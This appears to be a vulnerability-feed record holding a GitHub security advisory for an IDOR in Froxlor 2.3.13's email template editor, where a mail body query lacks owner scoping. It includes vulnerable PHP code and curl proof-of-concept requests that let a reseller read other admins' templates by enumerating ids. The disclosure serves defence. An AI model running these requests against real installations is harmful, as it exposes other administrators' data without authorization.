{"schema":"threatline.record/2","record":{"id":"GHSA-646m-cj89-hm32","aliases":["GHSA-646m-cj89-hm32"],"summary":"Froxlor 2.3.13 - IDOR in Email Template Editor (Information Disclosure)","details":"## Affected Software\r\n\r\n- **Software**: Froxlor (open-source hosting control panel)\r\n- **Version**: 2.3.13 (latest release at the time of writing)\r\n- **Repository**: https://github.com/Froxlor/Froxlor\r\n- **Tested source revision**: Git tag `2.3.13` (= commit `9051a8c3222c2d1338738a3d2b1fa0f7e0be110a`)\r\n\r\n## Vulnerability Description\r\n\r\nThe email template editor in the Froxlor admin area (`admin_templates.php?page=email&action=edit`) renders a template's subject and body into an edit form. Both row ids, `subjectid` and `mailbodyid`, are taken directly from the request. Email templates are per-admin resources: every other query touching the `panel_templates` table in this file — the template list, the delete action, the save action, and even the subject lookup in this very branch — is scoped to the owning account's `adminid`. The query that fetches the mail body, however, filters by `id` alone.\r\n\r\nAs a result, any authenticated low-privileged admin (a reseller) can read the email templates of any other admin, including the full administrator, by requesting the edit page with their own `subjectid` (which passes the ownership check) combined with a foreign `mailbodyid`. The ids are sequential, so all admins' templates can be enumerated.\r\n\r\n## Root Cause\r\n\r\n`admin_templates.php` takes both ids straight from the request; `mailbodyid` is the user-controlled lookup key for the read below:\r\n\r\n```php\r\n$subjectid = intval(Request::any('subjectid'));\r\n$mailbodyid = intval(Request::any('mailbodyid'));\r\n```\r\n\r\nIn the `action == 'edit'` branch, the subject row is looked up correctly scoped to the requesting admin's `adminid`:\r\n\r\n```php\r\n\t$result_stmt = Database::prepare(\"\r\n\t\tSELECT `language`, `varname`, `value` FROM `\" . TABLE_PANEL_TEMPLATES . \"`\r\n\t\tWHERE `adminid` = :adminid AND `id` = :subjectid\");\r\n\tDatabase::pexecute($result_stmt, [\r\n\t\t'adminid' => $userinfo['adminid'],\r\n\t\t'subjectid' => $subjectid\r\n\t]);\r\n```\r\n\r\nA few lines below, in the same branch (the GET path that renders the edit form), the mail body row is fetched by `id` alone — the `adminid` condition is missing, and the fetched `value` is what gets rendered into the edit form:\r\n\r\n```php\r\n\t\t\t$result_stmt = Database::prepare(\"\r\n\t\t\t\tSELECT `language`, `varname`, `value`\r\n\t\t\t\tFROM `\" . TABLE_PANEL_TEMPLATES . \"`\r\n\t\t\t\tWHERE `id` = :id\");\r\n\t\t\tDatabase::pexecute($result_stmt, [\r\n\t\t\t\t'id' => $mailbodyid\r\n\t\t\t]);\r\n\t\t\t$result = $result_stmt->fetch(PDO::FETCH_ASSOC);\r\n\t\t\t// ...\r\n\t\t\t$mailbody = $result['value'];\r\n```\r\n\r\nThe save path (the POST branch of the same page) updates both rows with `WHERE adminid = :adminid AND id = :id`, which is why this is read-only disclosure — writes to foreign templates are silently dropped.\r\n\r\n## Proof of Concept\r\n\r\nLog in as a low-privileged admin (reseller) account:\r\n\r\n```bash\r\ncurl -s -c cookies.txt \\\r\n  -d 'loginname=<reseller_username>' -d 'password=<reseller_password>' -d 'dologin=1' \\\r\n  'https://<your-froxlor-install>/index.php'\r\n```\r\n\r\nStill as the reseller, create an email template via *Email & file templates* → *Add template* and note the ids from its edit link (`action=edit&subjectid=...&mailbodyid=...`). The victim admin's `mailbodyid` can be any sequential row id belonging to another admin.\r\n\r\nSend the unauthorized read, combining the reseller's own `subjectid` with the victim's `mailbodyid`:\r\n\r\n```bash\r\ncurl -s -b cookies.txt \\\r\n  'https://<your-froxlor-install>/admin_templates.php?page=email&action=edit&subjectid=<your_own_subjectid>&mailbodyid=<victim_mailbodyid>'\r\n```\r\n\r\nThe edit form's *Mail body* field contains the victim admin's template body.\r\n\r\n**Actual execution output** (from a local test instance): the request `GET /admin_templates.php?page=email&action=edit&subjectid=11&mailbodyid=10` — where `subjectid=11` was the reseller's own template and `mailbodyid=10` belonged to the full admin — returned:\r\n\r\n- HTTP 200, `Content-Type: text/html; charset=UTF-8`\r\n- Mail body field value: `BODY-VB-VICTIM-20260907-0421-x1` (the admin's template body, which had been marked beforehand with this unique string)\r\n- Subject field value: `Subj-VB-ATK-20260907-0421-x2` (the reseller's own subject)\r\n\r\nThe admin-owned body, rendered inside the reseller's session, confirms the read is not scoped to the owner. \r\n\r\n## Impact\r\n\r\nAn authenticated reseller — a restricted admin account that is only supposed to manage its own customers — can enumerate the sequential `mailbodyid` values and read the subject and body of every email template owned by any other admin, including the super-admin. These templates hold the exact texts Froxlor sends to customers (welcome mails, account/FTP/database creation notices, password reset mails), and admins routinely customize them with host-specific wording and internal details not intended for lower-privileged staff. The save path enforces ownership, so templates cannot be modified this way; the issue is information disclosure.\r\n\r\n## Suggested Fix\r\n\r\nAdd `adminid = :adminid` to the mail body lookup in the edit branch, matching the subject lookup, so the query is scoped to the requesting admin.","categories":["Unclassified"],"product":"froxlor/froxlor","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-646m-cj89-hm32","source_modified_at":"2026-09-29T07:22:06Z","fetched_at":"2026-10-26T19:10:57.178988Z","package":{"ecosystem":"","name":"froxlor/froxlor"},"range":"2.3.13"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-646m-cj89-hm32","source_modified_at":"2026-09-29T07:22:06Z","fetched_at":"2026-10-26T19:10:57.178988Z","package":{"ecosystem":"","name":"froxlor/froxlor"},"version":"2.3.14"}],"cvss":null,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-29T07:22:06Z","modified_at":"2026-09-29T07:22:06Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-646m-cj89-hm32","fetched_at":"2026-10-26T19:10:57.178988Z","source_modified_at":"2026-09-29T07:22:06Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-29T07:22:06Z","content_hash":"e2816f5b199fd4996dbaadf1223eabb834558b25ea479575cbe4b846bb06f94b"}}
